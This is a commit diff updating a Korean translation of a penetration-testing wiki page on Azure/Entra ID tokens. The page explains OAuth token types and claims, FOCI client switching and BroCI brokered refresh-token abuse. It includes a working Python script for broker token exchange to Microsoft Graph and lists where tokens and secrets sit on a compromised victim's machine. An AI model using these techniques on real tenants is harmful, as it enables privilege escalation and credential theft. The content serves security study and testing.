Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2026-03-01 20:15:02 +00:00
parent 16a822aea1
commit 1734a5a5ae
3 changed files with 693 additions and 183 deletions

View File

@@ -1,101 +1,100 @@
# Az - 토큰 및 공개 애플리케이션
# Az - Tokens & Public Applications
{{#include ../../../banners/hacktricks-training.md}}
## 기본 정보
## Basic Information
Entra ID는 Microsoft의 클라우드 기반 identity and access management(IAM) 플랫폼으로, Microsoft 365 및 Azure Resource Manager와 같은 서비스 기본 인증(authentication) 및 권한 부여(authorization) 시스템 역할을 합니다. Azure AD는 리소스 액세스 관리를 위해 OAuth 2.0 authorization framework와 OpenID Connect (OIDC) authentication protocol을 구현합니다.
Entra ID는 Microsoft의 클라우드 기반 신원 및 접근 관리(ID and Access Management, IAM) 플랫폼으로, Microsoft 365 및 Azure Resource Manager와 같은 서비스에 대한 기본 인증 및 권한 부여 시스템 역할을 합니다. Azure AD는 리소스 접근 관리를 위해 OAuth 2.0 권한 부여 프레임워크와 OpenID Connect (OIDC) 인증 프로토콜을 구현합니다.
### OAuth
**OAuth 2.0의 주요 참여자:**
1. **Resource Server (RS):** Resource Owner가 소유한 리소스를 보호합니다.
2. **Resource Owner (RO):** 일반적으로 보호된 리소스 소유 최종 사용자입니다.
3. **Client Application (CA):** Resource Owner를 대신하여 리소스에 접근하려는 애플리케이션입니다.
4. **Authorization Server (AS):** 클라이언트 애플리케이션을 인증하고 권한을 부여한 후 access token을 발급합니다.
1. **Resource Server (RS):** 리소스 소유자가 소유한 리소스를 보호합니다.
2. **Resource Owner (RO):** 일반적으로 보호된 리소스 소유자인 최종 사용자입니다.
3. **Client Application (CA):** 리소스 소유자를 대신하여 리소스에 접근하려는 애플리케이션입니다.
4. **Authorization Server (AS):** 클라이언트 애플리케이션을 인증하고 권한을 부여한 후 접근 토큰을 발급합니다.
**Scopes 및 Consent:**
- **Scopes:** 리소스 서버에 정의된 세분화된 권한으로, 액세스 수준을 지정합니다.
- **Consent:** Resource Owner가 특정 scopes로 애플리케이션 리소스 접근 권한을 부여하는 과정입니다.
- **Scopes:** 리소스 서버에 정의된 세분화된 권한으로 접근 수준을 지정합니다.
- **Consent:** 리소스 소유자가 특정 scopes로 클라이언트 애플리케이션 리소스 접근을 허용하는 과정입니다.
**Microsoft 365 통합:**
- Microsoft 365는 IAM으로 Azure AD를 사용하며 여러 개의 "first-party" OAuth 애플리케이션로 구성됩니다.
- 이러한 애플리케이션은 깊게 통합되어 있고 종종 상호 의존적인 서비스 관계를 가집니다.
- 사용자 경험을 단순화하고 기능을 유지하기 위해 Microsoft는 이러한 first-party 애플리케이션에 대해 "implied consent" 또는 "pre-consent"를 부여합니다.
- **Implied Consent:** 특정 애플리케이션은 명시적인 사용자 또는 관리자 승인 없이 특정 scopes에 대한 접근이 자동으로 **허용**됩니다.
- 이러한 사전 동의된 scopes는 일반적인 관리 인터페이스에서는 숨겨져 있어 사용자와 관리자에게 덜 가시적입니다.
- Microsoft 365는 IAM을 위해 Azure AD를 사용하며 여러 "first-party" OAuth 애플리케이션로 구성됩니다.
- 이러한 애플리케이션은 깊게 통합되어 있고 종종 상호 의존적인 서비스 관계를 가집니다.
- 사용자 경험을 단순화하고 기능을 유지하기 위해 Microsoft는 이러한 first-party 애플리케이션에 대해 "implied consent" 또는 "pre-consent"를 부여합니다.
- **Implied Consent:** 일부 애플리케이션은 **명시적인 사용자 또는 관리자 승인 없이 특정 scopes에 대한 액세스가 자동으로 부여됩니다**.
- 이러한 사전 동의된 scopes는 일반적으로 사용자와 관리자 모두에게 숨겨져 있어 표준 관리 인터페이스에서 잘 보이지 않습니다.
**클라이언트 애플리케이션 유형:**
1. **Confidential Clients:**
- 자체 자격증명(예: 비밀번호 또는 인증서)을 보유합니다.
- Authorization Server에 대해 **안전하게 스스로 인증할 수 있습니다.**
2. **Public Clients:**
- 고유 자격증명이 없습니다.
- Authorization Server에 대해 안전하게 인증할 수 없습니다.
- **보안 영향:** Authorization Server가 애플리케이션의 정당성을 검증할 수 있는 메커니즘이 없기 때문에 공격자 토큰 요청할 때 public client 애플리케이션을 가장할 수 있습니다.
1. **Confidential Clients:**
- 자체 자격증명(예: 비밀번호 또는 인증서)을 보유합니다.
- Authorization Server에 대해 **자체를 안전하게 인증할 수 있습니다**.
2. **Public Clients:**
- 고유 자격증명을 보유하지 않습니다.
- Authorization Server에 대해 안전하게 인증할 수 없습니다.
- **보안적 의미:** Authorization Server가 애플리케이션의 정당성을 확인할 수 있는 메커니즘이 없으므로 공격자 토큰 요청 public client 애플리케이션을 가장할 수 있습니다.
## 인증 토큰
## Authentication Tokens
OIDC에서 사용되는 토큰 유형은 세 가지입니다:
OIDC에서 사용되는 **세 가지 토큰 유형**이 있습니다:
- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** 클라이언트가 리소스에 접근하기 위해 리소스 서버에 제시하는 토큰입니다. 특정 사용자, 클라이언트 및 리소스의 조합에만 사용할 수 있으며 기본적으로 만료될 때까지(기본값 1시간) 취소(revoke)할 수 없습니다.
- **ID Tokens:** 클라이언트가 Authorization Server로부터 받는 토큰으로, 사용자에 대한 기본 정보를 포함합니다. 특정 사용자 클라이언트의 조합에 바인딩됩니다.
- **Refresh Tokens:** 클라이언트에게 access token과 함께 제공됩니다. 새로운 access 및 ID 토큰을 얻는 데 사용됩니다. 특정 사용자와 클라이언트의 조합에 바인딩되며 취소될 수 있습니다. 기본 만료 기간은 비활성 refresh token의 경우 **90일**이며, 활성 토큰의 경우 **만료 없음**(refresh token으로부터 새로운 refresh token을 얻을 수 있음).
- refresh token은 특정 `aud`, 일부 **scopes**, 그리고 **tenant**에 연결되어야 하며, 해당 aud와 scopes(및 그 이상은 아님) 및 tenant에 대해서만 access token을 생성할 수 있어야 합니다. 그러나 **FOCI applications tokens**의 경우 이는 적용되지 않습니다.
- refresh token은 암호화되어 있으며 Microsoft만 복호화할 수 있습니다.
- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** 클라이언트는 이 토큰을 리소스 서버에 제시하여 **리소스에 접근**합니다. 특정 사용자, 클라이언트 및 리소스의 조합에 대해서만 사용 가능하며 만료될 때까지 **취소(revoke)**할 수 없습니다 — 기본 만료 시간은 1시간입니다.
- **ID Tokens**: 클라이언트가 Authorization Server로부터 받는 토큰으로, 사용자에 대한 기본 정보를 포함합니다. 특정 사용자 클라이언트의 조합에 **바인딩(bound)** 됩니다.
- **Refresh Tokens**: 접근 토큰과 함께 클라이언트에 제공되며, **새로운 access 및 ID 토큰을 얻기 위해** 사용됩니다. 특정 사용자와 클라이언트의 조합에 바인딩되며 취소될 수 있습니다. 비활성 refresh token의 기본 만료 기간은 **90일**이며, 활성 토큰의 경우 **만료 없음**(refresh token에서 새로운 refresh token을 얻는 것이 가능)입니다.
- refresh token은 특정 `aud`, 일부 **scopes**, 그리고 **tenant**에 연동되어야 하며 해당 aud와 scopes(및 그 이상이 아닌)와 tenant에 대해서만 access token을 생성할 수 있어야 합니다. 그러나 **FOCI applications tokens**의 경우에는 그렇지 않습니다.
- refresh token은 암호화되어 있으며 Microsoft만 복호화할 수 있습니다.
- 새로운 refresh token을 얻는다고 해서 이전 refresh token이 취소되지는 않습니다.
> [!WARNING]
> conditional access에 대한 정보는 **JWT 내부에 저장**됩니다. 따라서 허용된 IP 주소에서 토큰을 요청하면 해당 **IP가 토큰에 저장**되고, 이후 토큰을 비허용 IP에서 사용하여 리소스에 접근할 수 있습니다.
> **conditional access**에 대한 정보는 **JWT** 내부에 **저장**됩니다. 따라서 **허용된 IP 주소에서 토큰을 요청**하면 해당 **IP**가 토큰에 **저장**되고, 이후 해당 토큰을 사용해 **허용되지 않은 IP에서도 리소스에 접근**할 수 있습니다.
### Access Tokens "aud"
"aud" 필드에 표시된 은 로그인 수행하는 데 사용된 **resource server(애플리케이션)** 입니다.
"aud" 필드에 표시된 항목은 로그인 수행 사용된 **리소스 서버**(애플리케이션)입니다.
명령 `az account get-access-token --resource-type [...]`는 다음 타입을 지원하며, 각 타입은 결과 access token에 특정 "aud"를 추가합니다:
명령 `az account get-access-token --resource-type [...]`는 다음 타입을 지원하며, 각 타입은 결과 access token에 특정 "aud"를 추가합니다:
> [!CAUTION]
> 다음은 `az account get-access-token`에서 지원하는 API의 예시일 뿐이며, 더 많은 API가 존재합니다.
> 다음은 `az account get-access-token`에서 지원하는 API일 뿐이며 더 많은 API가 존재합니다.
<details>
<summary>aud examples</summary>
- **aad-graph (Azure Active Directory Graph API)**: 레거시 Azure AD Graph API(deprecated)에 접근하는 데 사용됩니다. 애플리케이션이 Azure Active Directory(Azure AD)의 디렉터리 데이터를 읽고 쓸 수 있게 합니다.
- **aad-graph (Azure Active Directory Graph API)**: 레거시 Azure AD Graph API(더 이상 권장되지 않음)에 접근하는 데 사용되며, 애플리케이션이 Azure Active Directory의 디렉터리 데이터를 읽고 쓸 수 있게 합니다.
- `https://graph.windows.net/`
* **arm (Azure Resource Manager)**: Azure Resource Manager API를 통해 Azure 리소스를 관리하는 데 사용됩니다. 여기에는 가상 머신, 스토리지 계정 등 리소스를 생성, 업데이트, 삭제하는 작업이 포함됩니다.
* **arm (Azure Resource Manager)**: Azure Resource Manager API를 통해 Azure 리소스를 관리하는 데 사용됩니다. 여기에는 가상 머신, 스토리지 계정 등과 같은 리소스를 생성, 업데이트, 삭제하는 작업이 포함됩니다.
- `https://management.core.windows.net/ or https://management.azure.com/`
- **batch (Azure Batch Services)**: 대규모 병렬 및 고성능 컴퓨팅 애플리케이션을 효율적으로 클라우드에서 실행할 수 있게 는 Azure Batch에 접근하는 데 사용됩니다.
- **batch (Azure Batch Services)**: 병렬 대규모 및 고성능 컴퓨팅 애플리케이션을 클라우드에서 효율적으로 실행할 수 있게 해주는 Azure Batch에 접근하는 데 사용됩니다.
- `https://batch.core.windows.net/`
* **data-lake (Azure Data Lake Storage)**: Azure Data Lake Storage Gen1과 상호작용하는 데 사용됩니다. 이는 확장 가능한 데이터 저장 및 분석 서비스입니다.
* **data-lake (Azure Data Lake Storage)**: 확장 가능한 데이터 저장 및 분석 서비스인 Azure Data Lake Storage Gen1과 상호작용하는 데 사용됩니다.
- `https://datalake.azure.net/`
- **media (Azure Media Services)**: 비디오 및 오디오 콘텐츠에 대 클라우드 기반 미디어 처리 및 전송 서비스를 제공하는 Azure Media Services에 접근하는 데 사용됩니다.
- **media (Azure Media Services)**: 비디오 및 오디오 콘텐츠에 대 클라우드 기반 미디어 처리 및 제공 서비스를 제공하는 Azure Media Services에 접근하는 데 사용됩니다.
- `https://rest.media.azure.net`
* **ms-graph (Microsoft Graph API)**: Microsoft 365 서비스 데이터를 위한 통합 엔드포인트인 Microsoft Graph API에 접근하는 데 사용됩니다. Azure AD, Office 365, Enterprise Mobility, Security 서비스 등에서 데이터와 인사이트에 접근할 수 있습니다.
* **ms-graph (Microsoft Graph API)**: Microsoft 365 서비스 데이터에 대한 통합 엔드포인트인 Microsoft Graph API에 접근하는 데 사용됩니다. Azure AD, Office 365, Enterprise Mobility 및 보안 서비스와 같은 서비스의 데이터와 인사이트에 접근할 수 있습니다.
- `https://graph.microsoft.com`
- **oss-rdbms (Azure Open Source Relational Databases)**: MySQL, PostgreSQL, MariaDB와 같은 오픈 소스 관계형 데이터베이스 엔진을 위한 Azure Database 서비스에 접근하는 데 사용됩니다.
- **oss-rdbms (Azure Open Source Relational Databases)**: MySQL, PostgreSQL, MariaDB와 같은 오픈 소스 관계형 데이터베이스 엔진을 위한 Azure Database 서비스에 접근하는 데 사용됩니다.
- `https://ossrdbms-aad.database.windows.net`
</details>
### Access Tokens Scopes "scp"
access token의 scope access token JWT 내부의 scp 키에 저장됩니다. 이러한 scopes는 access token이 무엇에 접근할 수 있는지를 정의합니다.
access token의 scope access token JWT 내부의 scp 키에 저장됩니다. 이 scopes는 access token이 무엇에 접근할 수 있는지를 정의합니다.
JWT가 특정 API에 연락할 수 있도록 허용되어 있지만 요청된 작을 수행할 scope가 없다면, 해당 JWT로는 그 작업을 수행할 수 없습니다.
JWT가 특정 API에 연락하는 것이 허용되더라도 요청된 작을 수행할 수 있는 **scope가 없다면**, 해당 JWT로는 그 동작을 **수행할 수 없습니다**.
### Refresh 및 Access 토큰 예제
### Get refresh & access token example
```python
# Code example from https://github.com/secureworks/family-of-client-ids-research
import msal
@@ -149,28 +148,28 @@ pprint(new_azure_cli_bearer_tokens_for_graph_api)
- **appid**: 토큰을 생성하는 데 사용된 Application ID
- **appidacr**: Application Authentication Context Class Reference는 클라이언트가 어떻게 인증되었는지를 나타냅니다. public client의 경우 값은 0이고, client secret이 사용된 경우 값은 1입니다.
- **acr**: Authentication Context Class Reference 클레임은 최종 사용자 인증이 ISO/IEC 29115 요구사항을 충족하지 못한 경우 "0"입니다.
- **acr**: Authentication Context Class Reference 클레임은 최종 사용자 인증이 ISO/IEC 29115 요을 충족하지 못했을 때 "0"입니다.
- **amr**: Authentication method는 토큰이 어떻게 인증되었는지를 나타냅니다. 값이 “pwd”이면 비밀번호가 사용되었음을 의미합니다.
- **groups**: 주체(principal)가 속한 그룹을 나타냅니다.
- **iss**: issues는 토큰을 생성한 보안 토큰 서비스(security token service, STS)를 식별합니다. 예: https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ (the uuid is the tenant ID)
- **oid**: 주체(principal)의 object ID
- **groups**: principal이 소속된 그룹을 나타냅니다.
- **iss**: iss는 토큰을 생성한 security token service(STS)를 식별합니다. e.g. https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ (the uuid is the tenant ID)
- **oid**: principal의 object ID
- **tid**: Tenant ID
- **iat, nbf, exp**: Issued at(발급 시), Not before(이 시간 이전에는 사용할 수 없음 보통 iat와 동일한 값), Expiration time(만료 시각).
- **iat, nbf, exp**: 발급 시간(iat), Not before(이 시간 이전에는 사용할 수 없음, 보통 iat와 동일), 만료 시간(exp).
## FOCI Tokens 권한 상승
## FOCI Tokens Privilege Escalation
전에는 refresh tokens 생성될 때 사용된 **scopes**, 생성된 **application**, 그리고 생성된 **tenant**에 묶여야 한다고 언급했습니다. 이러한 경계 중 어느 하나라도 깨지면, 사용자가 액세스할 수 있는 다른 리소스 및 tenant에 대해 원래 의도보다 더 많은 scopes를 가진 access tokens를 생성할 수 있게 되어 권한 상승이 발생할 수 있습니다.
앞서 언급했듯이 refresh tokens 생성될 때 사용된 **scopes**, 생성된 **application**, 그리고 생성된 **tenant**에 묶여야 니다. 이러한 경계 중 어느 하나라도 무너진다면 사용자가 접근할 수 있는 다른 리소스와 테넌트에 대해 원래 의도보다 더 많은 scope를 가진 access token 생성할 수 있게 되어 privilege escalation이 발생할 수 있습니다.
또한, [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/)의 모든 refresh tokens에 대해 **이것이 가능**합니다( Microsoft Entra accounts, Microsoft personal accounts, 그리고 Facebook Google과 같은 social accounts 포함). [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens)에서는 다음과 같이 언급합니다: "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them."
더욱이, **this is possible with all refresh tokens** in the [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google) because as the [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) mention: "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them."
또한 FOCI applications는 public applications이므로 서버에 인증할 때 **no secret is needed** 합니다.
또한, FOCI applications는 public applications이므로 서버에 인증하기 위해 **no secret is needed**합니다.
보고된 알려진 FOCI clients는 [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main)에 보고되어 있으며, [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv)에서 확인할 수 있습니다.
그렇다면 [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main)에 보고된 알려진 FOCI clients는 [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv)에서 확인할 수 있습니다.
### 다른 scope 요청하
### 다른 scope
이전 예제 코드 이어, 이 코드에서는 다른 scope에 대한 새 토큰을 요청합니다:
이전 예제 코드 이어, 이 코드에서는 다른 scope에 대한 새 토큰을 요청합니다:
```python
# Code from https://github.com/secureworks/family-of-client-ids-research
azure_cli_bearer_tokens_for_outlook_api = (
@@ -203,30 +202,361 @@ scopes=["https://graph.microsoft.com/.default"],
# How is this possible?
pprint(microsoft_office_bearer_tokens_for_graph_api)
```
## NAA / BroCI (Nested App Authentication / Broker Client Injection)
A BroCI refresh tokens는 기존 refresh token을 추가 브로커 파라미터와 함께 사용하여 다른 신뢰된 first-party 앱으로서 토큰을 요청하는 브로커드 토큰 교환 패턴이다.
이러한 refresh tokens는 해당 브로커 컨텍스트에서 발급되어야 하며(일반적인 refresh token은 보통 BroCI refresh token으로 사용할 수 없다).
### Goal and purpose
BroCI의 목적은 broker-capable 앱 체인에서 유효한 사용자 세션을 재사용하고 다른 신뢰된 앱/리소스 쌍에 대한 토큰을 요청하는 것이다. 따라서 원래 토큰에서 권한을 상승시키는 것이 가능해진다.
공격 관점에서, 이는 중요하다. 왜냐하면:
- 표준 refresh 교환으로 접근할 수 없는 사전 동의된 first-party 앱 경로를 열 수 있다.
- 넓은 delegated 권한을 가진 앱 아이덴티티로 하여금 고가치 API(예: Microsoft Graph)에 대한 access tokens를 반환할 수 있다.
- 고전적인 FOCI client switching을 넘어선 인증 후(post-authentication) 토큰 피벗 기회를 확장한다.
NAA/BroCI refresh token에서 변경되는 것은 토큰의 가시적 형식이 아니라, 브로커된 리프레시 동작 동안 Microsoft가 검증하는 **issuance context**와 브로커 관련 메타데이터이다.
NAA/BroCI 토큰 교환은 일반적인 OAuth refresh 교환과 **같지 않다**.
- 일반적인 refresh token(예: device code flow를 통해 얻은)은 보통 표준 `grant_type=refresh_token` 작업에 대해 유효하다.
- BroCI 요청은 추가 브로커 컨텍스트(`brk_client_id`, 브로커 `redirect_uri`, 및 `origin`)를 포함한다.
- Microsoft는 제시된 refresh token이 일치하는 브로커드 컨텍스트에서 발급되었는지 검증한다.
- 따라서 많은 "정상" refresh token은 BroCI 요청에서 `AADSTS900054`("Specified Broker Client ID does not match ID in provided grant")와 같은 오류로 실패한다.
- 일반적으로 정상적인 refresh token을 코드로 BroCI 유효한 토큰으로 "변환"할 수 없다.
- 호환 가능한 brokered flow에서 이미 발급된 refresh token이 필요하다.
Check the web **<https://entrascopes.com/>** to find BroCI configured apps an the trust relationships they have.
### Mental model
BroCI를 다음과 같이 생각하라:
`user session -> brokered refresh token issuance -> brokered refresh call (brk_client_id + redirect_uri + origin) -> access token for target trusted app/resource`
그 브로커 체인의 어느 부분이라도 일치하지 않으면, 교환은 실패한다.
### Where to find a BroCI-valid refresh token
실용적인 방법 하나는 브라우저 포털 트래픽 수집이다:
1. Sign in to `https://entra.microsoft.com` (or Azure portal).
2. Open DevTools -> Network.
3. Filter for:
- `oauth2/v2.0/token`
- `management.core.windows.net`
4. Identify the brokered token response and copy `refresh_token`.
5. Use that refresh token with matching BroCI parameters (`brk_client_id`, `redirect_uri`, `origin`) when requesting tokens for target apps (for example ADIbizaUX / Microsoft_Azure_PIMCommon scenarios).
### Common errors
- `AADSTS900054`: refresh token 컨텍스트가 제공된 브로커 튜플 (`brk_client_id` / `redirect_uri` / `origin`)과 일치하지 않거나 토큰이 브로커드 포털 흐름에서 온 것이 아니다.
- `AADSTS7000218`: 선택된 클라이언트 흐름이 confidential credential (`client_secret`/assertion)을 기대한다. 이는 종종 device code를 non-public client와 함께 시도할 때 관찰된다.
<details>
<summary>Python BroCI refresh helper (broci_auth.py)</summary>
```python
#!/usr/bin/env python3
"""
Python implementation of EntraTokenAid Broci refresh flow.
Equivalent to Invoke-Refresh in EntraTokenAid.psm1 with support for:
- brk_client_id
- redirect_uri
- Origin header
Usage:
python3 broci_auth.py --refresh-token "<REFRESH_TOKEN>"
How to obtain a Broci-valid refresh token (authorized testing only):
1) Open https://entra.microsoft.com and sign in.
2) Open browser DevTools -> Network.
3) Filter requests for:
- "oauth2/v2.0/token"
- "management.core.windows.net"
4) Locate the portal broker token response and copy the "refresh_token" value
(the flow should be tied to https://management.core.windows.net//).
5) Use that token with this script and Broci params:
python3 broci_auth.py \
--refresh-token "<PORTAL_BROKER_REFRESH_TOKEN>" \
--client-id "74658136-14ec-4630-ad9b-26e160ff0fc6" \
--tenant "organizations" \
--api "graph.microsoft.com" \
--scope ".default offline_access" \
--brk-client-id "c44b4083-3bb0-49c1-b47d-974e53cbdf3c" \
--redirect-uri "brk-c44b4083-3bb0-49c1-b47d-974e53cbdf3c://entra.microsoft.com" \
--origin "https://entra.microsoft.com" \
--token-out
"""
import argparse
import base64
import datetime as dt
import json
import re
import sys
import urllib.error
import urllib.parse
import urllib.request
from typing import Any
GUID_RE = re.compile(
r"^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$"
)
OIDC_SCOPES = {"offline_access", "openid", "profile", "email"}
def resolve_api_scope_url(api: str, scope: str) -> str:
"""
Match Resolve-ApiScopeUrl behavior from the PowerShell module.
"""
if GUID_RE.match(api):
base_resource = api
elif api.lower().startswith("urn:") or "://" in api:
base_resource = api
else:
base_resource = f"https://{api}"
base_resource = base_resource.rstrip("/")
resolved: list[str] = []
for token in scope.split():
if not token.strip():
continue
if "://" in token:
resolved.append(token)
elif token.lower().startswith("urn:"):
resolved.append(token)
elif token in OIDC_SCOPES:
resolved.append(token)
elif GUID_RE.match(token):
resolved.append(f"{token}/.default")
else:
normalized = ".default" if token in {"default", ".default"} else token
resolved.append(f"{base_resource}/{normalized}")
return " ".join(resolved)
def parse_jwt_payload(jwt_token: str) -> dict[str, Any]:
parts = jwt_token.split(".")
if len(parts) != 3:
raise ValueError("Invalid JWT format.")
payload = parts[1]
padding = "=" * ((4 - len(payload) % 4) % 4)
decoded = base64.urlsafe_b64decode((payload + padding).encode("ascii"))
return json.loads(decoded.decode("utf-8"))
def refresh_broci_token(
refresh_token: str,
client_id: str,
scope: str,
api: str,
tenant: str,
user_agent: str,
origin: str | None,
brk_client_id: str | None,
redirect_uri: str | None,
disable_cae: bool,
) -> dict[str, Any]:
api_scope_url = resolve_api_scope_url(api=api, scope=scope)
headers = {
"User-Agent": user_agent,
"X-Client-Sku": "MSAL.Python",
"X-Client-Ver": "1.31.0",
"X-Client-Os": "win32",
"Content-Type": "application/x-www-form-urlencoded",
}
if origin:
headers["Origin"] = origin
body: dict[str, str] = {
"grant_type": "refresh_token",
"client_id": client_id,
"scope": api_scope_url,
"refresh_token": refresh_token,
}
if not disable_cae:
body["claims"] = '{"access_token": {"xms_cc": {"values": ["CP1"]}}}'
if brk_client_id:
body["brk_client_id"] = brk_client_id
if redirect_uri:
body["redirect_uri"] = redirect_uri
data = urllib.parse.urlencode(body).encode("utf-8")
token_url = f"https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token"
req = urllib.request.Request(token_url, data=data, headers=headers, method="POST")
try:
with urllib.request.urlopen(req) as resp:
raw = resp.read().decode("utf-8")
except urllib.error.HTTPError as e:
err_raw = e.read().decode("utf-8", errors="replace")
try:
err_json = json.loads(err_raw)
short = err_json.get("error", "unknown_error")
desc = err_json.get("error_description", err_raw)
raise RuntimeError(f"{short}: {desc}") from None
except json.JSONDecodeError:
raise RuntimeError(f"HTTP {e.code}: {err_raw}") from None
tokens = json.loads(raw)
if "access_token" not in tokens:
raise RuntimeError("Token endpoint response did not include access_token.")
return tokens
def main() -> int:
parser = argparse.ArgumentParser(
description="Broci refresh flow in Python (EntraTokenAid Invoke-Refresh equivalent)."
)
parser.add_argument("--refresh-token", required=True, help="Refresh token (required).")
parser.add_argument(
"--client-id",
default="04b07795-8ddb-461a-bbee-02f9e1bf7b46",
help="Client ID (default: Azure CLI).",
)
parser.add_argument(
"--scope",
default=".default offline_access",
help="Scopes (default: '.default offline_access').",
)
parser.add_argument(
"--api", default="graph.microsoft.com", help="API resource (default: graph.microsoft.com)."
)
parser.add_argument("--tenant", default="common", help="Tenant (default: common).")
parser.add_argument(
"--user-agent",
default="python-requests/2.32.3",
help="User-Agent sent to token endpoint.",
)
parser.add_argument("--origin", default=None, help="Optional Origin header.")
parser.add_argument(
"--brk-client-id", default=None, help="Optional brk_client_id (Broci flow)."
)
parser.add_argument(
"--redirect-uri", default=None, help="Optional redirect_uri (Broci flow)."
)
parser.add_argument(
"--disable-cae",
action="store_true",
help="Disable CAE claims in token request.",
)
parser.add_argument(
"--token-out",
action="store_true",
help="Print access/refresh tokens in output.",
)
parser.add_argument(
"--disable-jwt-parsing",
action="store_true",
help="Do not parse JWT claims.",
)
args = parser.parse_args()
print("[*] Sending request to token endpoint")
try:
tokens = refresh_broci_token(
refresh_token=args.refresh_token,
client_id=args.client_id,
scope=args.scope,
api=args.api,
tenant=args.tenant,
user_agent=args.user_agent,
origin=args.origin,
brk_client_id=args.brk_client_id,
redirect_uri=args.redirect_uri,
disable_cae=args.disable_cae,
)
except Exception as e:
print(f"[!] Error: {e}", file=sys.stderr)
return 1
expires_in = int(tokens.get("expires_in", 0))
expiration_time = (dt.datetime.now() + dt.timedelta(seconds=expires_in)).isoformat(timespec="seconds")
tokens["expiration_time"] = expiration_time
print(
"[+] Got an access token and a refresh token"
if tokens.get("refresh_token")
else "[+] Got an access token (no refresh token requested)"
)
if not args.disable_jwt_parsing:
try:
jwt_payload = parse_jwt_payload(tokens["access_token"])
audience = jwt_payload.get("aud", "")
print(f"[i] Audience: {audience} / Expires at: {expiration_time}")
tokens["scp"] = jwt_payload.get("scp")
tokens["tenant"] = jwt_payload.get("tid")
tokens["user"] = jwt_payload.get("upn")
tokens["client_app"] = jwt_payload.get("app_displayname")
tokens["client_app_id"] = args.client_id
tokens["auth_methods"] = jwt_payload.get("amr")
tokens["ip"] = jwt_payload.get("ipaddr")
tokens["audience"] = audience
if isinstance(audience, str):
tokens["api"] = re.sub(r"/$", "", re.sub(r"^https?://", "", audience))
if "xms_cc" in jwt_payload:
tokens["xms_cc"] = jwt_payload.get("xms_cc")
except Exception as e:
print(f"[!] JWT parse error: {e}", file=sys.stderr)
return 1
else:
print(f"[i] Expires at: {expiration_time}")
if args.token_out:
print("\nAccess Token:")
print(tokens.get("access_token", ""))
if tokens.get("refresh_token"):
print("\nRefresh Token:")
print(tokens["refresh_token"])
print("\nToken object (JSON):")
print(json.dumps(tokens, indent=2))
return 0
if __name__ == "__main__":
raise SystemExit(main())
```
</details>
## 토큰을 찾을 수 있는 위치
공격자 관점에서, 예를 들어 피해자 PC가 침해되었을 경우 access and refresh tokens를 어디서 찾을 수 있는지 아는 것은 매우 중요합니다:
공격자 관점에서, 예를 들어 피해자 PC가 침해되었을 access and refresh tokens를 어디서 찾을 수 있는지 아는 것은 매우 흥미롭다:
- **`<HOME>/.Azure`**
- **`azureProfile.json`**에는 과거에 로그인한 사용자에 대한 정보가 포함되어 있습니
- **`clouds.config contains`** 구독에 대한 정보를 포함합니다
- **`service_principal_entries.json`**에는 애플리케이션 자격증명(tenant id, clients and secret)이 어 있습니다. Linux macOS에서만
- **`msal_token_cache.json`**에는 access tokens와 refresh tokens가 어 있습니다. Linux macOS에서만
- **`service_principal_entries.bin`** msal_token_cache.bin은 Windows에서 사용되며 DPAPI로 암호화되어 있습니
- **`msal_http_cache.bin`**은 HTTP 요청 캐시입니
- **`<HOME>/.Azure`** 내부
- **`azureProfile.json`**에는 과거에 로그인한 사용자 정보가 포함되어 있다
- **`clouds.config contains`** 구독 정보
- **`service_principal_entries.json`**에는 애플리케이션 자격증명(tenant id, clients and secret)이 포함되어 있다. Linux & macOS에서만
- **`msal_token_cache.json`**에는 access tokens와 refresh tokens가 포함되어 있다. Linux & macOS에서만
- **`service_principal_entries.bin`** msal_token_cache.bin은 Windows에서 사용되며 DPAPI로 암호화
- **`msal_http_cache.bin`**은 HTTP 요청 캐시
- 로드: `with open("msal_http_cache.bin", 'rb') as f: pickle.load(f)`
- **`AzureRmContext.json`**에는 Az PowerShell을 사용한 이전 로그인에 대한 정보가 들어 있지만 자격증명은 포함되어 있지 않습니다
- **`C:\Users\<username>\AppData\Local\Microsoft\IdentityCache\*`** 에는 사용자 DPAPI로 암호화된 여러 `.bin` 파일이 있으며, 여기에는 **access tokens**, ID tokens 및 계정 정보가 들어 있습니다
- **`C:\Users\<username>\AppData\Local\Microsoft\TokenBroken\Cache\`** 안`.tbres` 파일들에서 base64로 인코딩되어 DPAPI로 암호화된 access tokens를 더 찾을 수 있습니
- Linux 및 macOS에서는 Az PowerShell(사용된 경우)에서 `pwsh -Command "Save-AzContext -Path /tmp/az-context.json"` 실행하면 **access tokens, refresh tokens and id tokens**를 얻을 수 있습니
- Windows에서는 이것이 id tokens만 생성합니다
- Linux 및 macSO에서 Az PowerShell 사용 여부는 `$HOME/.local/share/.IdentityService/`의 존재 여부로 확인할 수 있습니다(단, 내부 파일들은 비어 있 쓸모없습니다)
